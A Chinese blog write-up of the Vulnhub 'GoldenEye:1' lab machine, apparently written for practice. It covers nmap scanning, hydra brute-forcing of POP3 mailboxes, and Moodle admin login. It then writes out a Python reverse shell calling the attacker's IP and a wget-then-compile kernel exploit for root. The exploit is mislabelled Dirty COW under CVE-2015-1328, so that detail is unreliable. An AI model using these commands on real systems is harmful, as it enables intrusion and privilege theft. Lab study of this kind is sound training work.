前言
这几天把博客稍微美化了一下,不至于之前那么呆板。然后最近发现了Vulnhub这个平台免费提供了很多优质的靶机,是一个很好的学习平台,趁此也写了这篇博客。
靶机的基本信息
靶机名称:GOLDENEYE:1
发布日期:2018年5月4日
靶机难度:中级
靶机地址:https://www.vulnhub.com/entry/goldeneye-1,240/
靶机描述:我最近完成了以伟大的詹姆斯邦德电影(甚至更好的 n64 游戏)GoldenEye 为主题的 OSCP 类型易受攻击机器的创建。目标是获取root并捕获秘密的GoldenEye代码-flag.txt。我将其评为中级,它具有获得root所需的多种技术 - 没有漏洞利用开发/缓冲区溢出。完成OSCP后,我认为这将是一个很好的练习,而且还有一点CTF的味道。我已经在 VMware 和 VirtualBox 上创建并验证了。默认情况下,除了 Kali 上的工具外,您不需要任何额外的工具。需要设置为 Host-Only,并且在 VMware 上,您可能需要在出现提示时单击“重试”,因为格式化最初启动它。
开始
Nmap探测信息
将靶机启动后,先用nmap扫描,确定一下目标IP。
sudo nmap -sS 10.10.10.1/24
可以看到目标IP为10.10.10.134,确定IP后,再针对目标IP进行详细扫描一遍。
sudo nmap -Pn -sV -O -A -p 1-65535 10.10.10.134
-Pn 默认目标主机存活,不会使用ping扫描,而是直接进行更深层次的扫描
-sV 服务版本信息
-O 操作系统版本
-A 综合扫描
-p 指定扫描端口范围
可以得到的信息:目标开放了25(smtp),80(http),55006(ssl),55007(pop3)。smtp和pop3是一种邮件传输协议,分别用以发送和接收邮件。
web端收集信息
先从web端搜集信息,访问80端口:
Severnaya Auxiliary Control Station
****TOP SECRET ACCESS****
Accessing Server Identity
Server Name:....................
GOLDENEYE
User: UNKNOWN
Naviagate to /sev-home/ to login
网页给出了一个目录/sev-home/,让我们访问以登录:
访问后弹出一个登录框,不过我们并不知道用户名和密码。尝试用dirb爆破一下网站目录:
dirb http://10.10.10.134/
不过并没有得到什么有用的信息。
查看注释
F12翻了翻网页的js文件,找到了一段注释信息:
//
//Boris, make sure you update your default password.
//My sources say MI6 maybe planning to infiltrate.
//Be on the lookout for any suspicious network traffic....
//
//I encoded you p@ssword below...
//
//InvincibleHack3r
//
//BTW Natalya says she can break your codes
//
翻译如下:
//
//鲍里斯,一定要更新你的默认密码。
//我的消息来源说军情六处可能打算潜入。
//注意任何可疑的网络流量。。。。
//
//我给你编码了p@ssword在下面。。。
//
//InvincibleHack3r
//
//顺便说一句,娜塔莉娅说她能破解你的密码
//
从这段注释我们可以得到两个信息:1.两个可能的用户名:Boris,Natalya;2.boris的密码。很明显注释给出的密码是经过html编码过的,解码后得到密码:InvincibleHack3r,拿到用户名密码我们再去尝试登录/sev/home目录,用户名boris,密码InvincibleHack3r,成功进入,如下图:
网页说明了pop3服务没有在默认端口,而是运行在一个更高的端口,但我们一开始已经对目标进行扫描过了,所以知道目标服务器的pop3服务是运行在55007端口。
九头蛇hydra爆破pop3
既然如此,结合我们之前得到的两个用户名,尝试用九头蛇hydra进行爆破(这里提示一下,爆破的用户名记得全部小写,我之前就因为大写了首字母耗了不少时间):
hydra -L /home/kali/Desktop/GoldenEye/users -P /usr/share/wordlists/fasttrack.txt 10.10.10.134 -s 55007 -vV -t 50 pop3
-L 指定一个用户名列表文件
-P 指定一个密码列表文件
-s 指定服务端口
-vV 显示详细过程
-t 爆破线程数
成功爆破出密码:
[55007][pop3] host: 10.10.10.134 login: boris password: secret1!
[55007][pop3] host: 10.10.10.134 login: natalya password: bird
登录邮箱
那么我们先用nc登录boris的邮箱:
nc 10.10.10.134 55007
use boris
pass secret1!
可能有一些朋友不太了解pop3,这里简单列出pop3的常用命令:
user username --------------- 输入用户名, username 为具体的用户名pass password --------------- 输入密码,password 为具体的密码stat --------------- 邮箱状态list --------------- 列出每封邮件的字节数 top 1 --------------- 接收第 1 封邮件,返回第 1 封邮件头retr 1 --------------- 接收第 1 封邮件,返回第 1 封邮件全部内容dele 1 --------------- 删除第 1 封邮件quit--------------- 结束会话
用list命令可以看到共有三封邮件:
三封邮件内容分别为:
Return-Path: <root@127.0.0.1.goldeneye>X-Original-To: borisDelivered-To: boris@ubuntuReceived: from ok (localhost [127.0.0.1]) by ubuntu (Postfix) with SMTP id D9E47454B1 for <boris>; Tue, 2 Apr 1990 19:22:14 -0700 (PDT)Message-Id: <20180425022326.D9E47454B1@ubuntu>Date: Tue, 2 Apr 1990 19:22:14 -0700 (PDT)From: root@127.0.0.1.goldeneyeBoris, this is admin. You can electronically communicate to co-workers and students here. I'm not going to scan emails for security risks because I trust you and the other admins here.Return-Path: <natalya@ubuntu>X-Original-To: borisDelivered-To: boris@ubuntuReceived: from ok (localhost [127.0.0.1]) by ubuntu (Postfix) with ESMTP id C3F2B454B1 for <boris>; Tue, 21 Apr 1995 19:42:35 -0700 (PDT)Message-Id: <20180425024249.C3F2B454B1@ubuntu>Date: Tue, 21 Apr 1995 19:42:35 -0700 (PDT)From: natalya@ubuntuBoris, I can break your codes!Return-Path: <alec@janus.boss>X-Original-To: borisDelivered-To: boris@ubuntuReceived: from janus (localhost [127.0.0.1]) by ubuntu (Postfix) with ESMTP id 4B9F4454B1 for <boris>; Wed, 22 Apr 1995 19:51:48 -0700 (PDT)Message-Id: <20180425025235.4B9F4454B1@ubuntu>Date: Wed, 22 Apr 1995 19:51:48 -0700 (PDT)From: alec@janus.bossBoris,Your cooperation with our syndicate will pay off big. Attached are the final access codes for GoldenEye. Place them in a hidden file within the root directory of this server then remove from this email. There can only be one set of these acces codes, and we need to secure them for the final execution. If they are retrieved and captured our plan will crash and burn!Once Xenia gets access to the training site and becomes familiar with the GoldenEye Terminal codes we will push to our final stages....PS - Keep security tight or we will be compromised.
然后仔细把三封邮件看完后,却并没有得到什么有用信息,,那么我们再登录natalya的邮箱看看:
可以看到,有两封邮件:
Return-Path: <root@ubuntu>X-Original-To: natalyaDelivered-To: natalya@ubuntuReceived: from ok (localhost [127.0.0.1]) by ubuntu (Postfix) with ESMTP id D5EDA454B1 for <natalya>; Tue, 10 Apr 1995 19:45:33 -0700 (PDT)Message-Id: <20180425024542.D5EDA454B1@ubuntu>Date: Tue, 10 Apr 1995 19:45:33 -0700 (PDT)From: root@ubuntuNatalya, please you need to stop breaking boris' codes. Also, you are GNO supervisor for training. I will email you once a student is designated to you.Also, be cautious of possible network breaches. We have intel that GoldenEye is being sought after by a crime syndicate named Janus.Return-Path: <root@ubuntu>X-Original-To: natalyaDelivered-To: natalya@ubuntuReceived: from root (localhost [127.0.0.1]) by ubuntu (Postfix) with SMTP id 17C96454B1 for <natalya>; Tue, 29 Apr 1995 20:19:42 -0700 (PDT)Message-Id: <20180425031956.17C96454B1@ubuntu>Date: Tue, 29 Apr 1995 20:19:42 -0700 (PDT)From: root@ubuntuOk Natalyn I have a new student for you. As this is a new system please let me or boris know if you see any config issues, especially is it's related to security...even if it's not, just enter it in under the guise of "security"...it'll get the change order escalated without much hassle :)Ok, user creds are:username: xeniapassword: RCP90rulez!Boris verified her as a valid contractor so just create the account ok?And if you didn't have the URL on outr internal Domain: severnaya-station.com/gnocertdir**Make sure to edit your host file since you usually work remote off-network....Since you're a Linux user just point this servers IP to severnaya-station.com in /etc/hosts.
从第二封邮件中,得到了网站的用户名密码username: xenia,password: RCP90rulez!,同时我们需要修改hosts配置文件,让目标IP指向域名severnaya-station.com,否则无法正常访问网站。
sudo vi /etc/hosts
添加一条记录然后保存退出,如下图:
这时我们再访问邮件中给出的地址:severnaya-station.com/gnocertdir
首页下方可以得知网站的CMS是Moodle,右上角有个登录入口,使用在邮件中得到的用户名密码登录,登录后界面如下:
在右边的目录翻了一会,可以在/Home/My profile/Messages下找到一封邮件,还有左上角显示了CMS的版本为2.2.3
邮件的发送者在邮件中告诉了我们他的邮件用户名为doak,我们也放到九头蛇hydra中爆破试试:
hydra -l doak -P /usr/share/wordlists/fasttrack.txt 10.10.10.134 -s 55007 -vV -f -t 50 pop3
得到密码为goat,用nc登录邮箱查看邮件:
James,If you're reading this, congrats you've gotten this far. You know how tradecraft works right?Because I don't. Go to our training site and login to my account....dig until you can exfiltrate further information......username: dr_doakpassword: 4England!
得到了doak的网站用户名密码,直接登录,寻找一番后可以在/Home/My profile/My private files找到一个名为s3cret的文本文件。
将其下载下来查看,内容如下:
得到一个jpg的路径,访问查看,如下图:
图片并没有包含什么实质内容,我们用exiftool(一款图像处理工具)来分析一下图片:
exiftool for-007.jpg
在图像描述中可以得到一串经过base64编码的字符串:eFdpbnRlcjE5OTV4IQ==,解码后为:xWinter1995x! 结合之前文本中的内容可以判断这就是网站管理员的密码,直接去登录,成功登录,如下图

反弹shell
然后用MSF查了一下,这套CMS在2013年爆出过一个RCE。
利用前需要现在Home/Site administration/Plugins/Text editors/TinyMCE HTML editor下将Google spell改为PSpellSehell,因为目标主机没有GCC编译,只有CC编译。
不过利用时还是失败了,查到网上的说法是因为kali中MSF版本升级太高,这里咱们也不纠结,换一种思路。这套CMS在Home/Site administration/Server/System paths目录下可以直接上传代码,那么直接来反弹一个低权限的shell:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.128",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
代码需要根据自己实际情况来修改一下。然后我们需要在本地监听8888端口,让等会反弹过来的shell能够成功连接到我们的机器:
nc -lvnp 8888
监听后回到后台,需要找到一个能发送数据包出去的地方,这里找到了能发送邮件的地方,随意填写一些文字即可,点击Toggle spellchecker进行发送shell到本地。
成功反弹到了一个shell,用id查看,是一个低权限的shell。再使用ptyhon获得tty。
python -c 'import pty; pty.spawn("/bin/bash")'
提权
再用uname -a看一下系统的内核版本。
拿内核版本去Google一下exploit,
发现是用脏牛提权(CVE-2015-1328)
这个漏洞的exp在kali中也有,我们直接用kali中的就可以
将exp复制出来
cp /usr/share/exploitdb/exploits/linux/local/37292.c /home/kali/Desktop/GoldenEye/
然后开启http服务,
sudo python -m SimpleHTTPServer 5555
让目标主机下载exp到/tmp目录,
wget http://10.10.10.128:5555/Desktop/GoldenEye/37292.c
然后编译执行,
cc -o exp 37292.c //编译
chmod +x exp //给exp给执行权限
./exp //运行exp
可以看到exp成功执行,现在已经是root权限了,进入root目录,拿到flag:568628e0d993b1973adc718237da6e93
这里还提到有一个小彩蛋在/006-final/xvf7-flag/目录下,访问查看:
至此,我们成功拿到了root权限!
结尾
总体上说这台靶机的难度其实并不算高,只是有些点一时可能想不到,拿来练手还是不错的。
Comments | 5 条评论
将军德才兼备 不愧为朕的左臂右膀
@piOYriX 汝窃国奸贼,大汉之栋梁也
爱了爱了

Hello friends, howw is tthe whoole thing, andd what you
wish forr tto say regarding this paragraph, in my view its trul awespme designed for me.
@242 Thank you :)